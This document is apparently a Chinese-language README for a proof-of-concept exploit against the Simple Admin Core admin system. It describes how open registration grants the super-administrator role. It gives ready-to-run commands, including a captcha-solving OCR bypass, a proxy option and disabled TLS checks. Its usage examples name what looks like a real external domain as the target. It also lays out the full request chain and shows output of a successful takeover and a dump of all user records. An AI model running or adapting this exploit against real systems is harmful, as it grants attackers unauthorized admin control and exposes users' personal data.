跳到主要内容

任意用户注册即超级管理员 — PoC

作者修订时间
wjlin02026-08-29 00:22:46

Simple Admin Core 公开注册接口 /user/register 无任何鉴权/风控,注册即绑定配置项 ProjectConf.DefaultRoleId(默认 1)对应角色;初始化数据中角色 1 = role.admin (code 001,超级管理员),且被初始化 Casbin 策略授予全部 API 路径权限。 攻击者仅需用 ddddocr 自动识别 5 位图形验证码即可注册超级管理员账号。

文件​

文件说明
poc.py全链路 PoC:ddddocr 识别验证码 → 注册 → 登录 → JWT 取证 → 调用 /user/list 获取全部用户证明(自动忽略 TLS 证书校验)
requirements.txt依赖:ddddocr requests numpy pillow

使用​

pip install -r requirements.txt

# 默认目标: http://127.0.0.1:5666 (API 前缀 /sys-api 已内置, 无需追加)
python3 poc.py

# 远程 HTTPS 目标 (自动忽略 TLS 证书校验)
python3 poc.py --target https://bbxt.greenelectricity.cn

# 走代理 (HTTP/SOCKS)
python3 poc.py --target https://bbxt.greenelectricity.cn --proxy http://127.0.0.1:7890

# 指定账号
python3 poc.py --username poc_admin --password 'Test@123456' --email [email protected]

参数说明:

参数说明
--target目标主机根地址(HTTP/HTTPS 均可),默认 http://127.0.0.1:5666;/sys-api 前缀已写死在代码中,无需在 --target 中追加
--proxy代理地址,如 http://127.0.0.1:7890、socks5://127.0.0.1:1080
--username / --password / --email注册账号信息(默认随机用户名与邮箱)

PoC 默认忽略 TLS 证书校验(verify=False),适用于证书域名不匹配的目标。 验证账号默认随机命名,请测试完成后在系统中手动删除。

攻击链​

GET  /captcha (公开)                -> captchaId + 验证码图片 (base64Captcha digit, 5位数字)
ddddocr 识别验证码
POST /user/register (公开, 无 JWT) -> 新用户 RoleIds=[1] (role.admin / code 001 / 超级管理员)
POST /user/login (公开) -> JWT payload: roleId="001"
POST /user/list (需 JWT) -> Casbin 放行, 可获取全部用户数据, 证明利用成功

实测结果(2026-08-28,本地授权环境)​

[+] 验证码识别成功 captchaId=22bj0Hc7GVF6HnaAxTjb captcha=50765
[+] 注册成功: username=poctestlist01 msg=注册成功
[+] 登录成功 userId=01a0492d-25ed-73bf-b946-6f7e9f44c413
[+] JWT payload: {"deptId":1,"exp":...,"iat":...,"roleId":"001","userId":"01a0492d-..."}
[+] 管理员接口 /user/list 访问成功: 共 7 个用户
- poctestlist01 (...)
- admin (id=01a04893-..., [email protected]) ← 系统内置超级管理员
[+] [漏洞确认] 匿名注册的账号可直接获得超级管理员权限, 可获取全部用户数据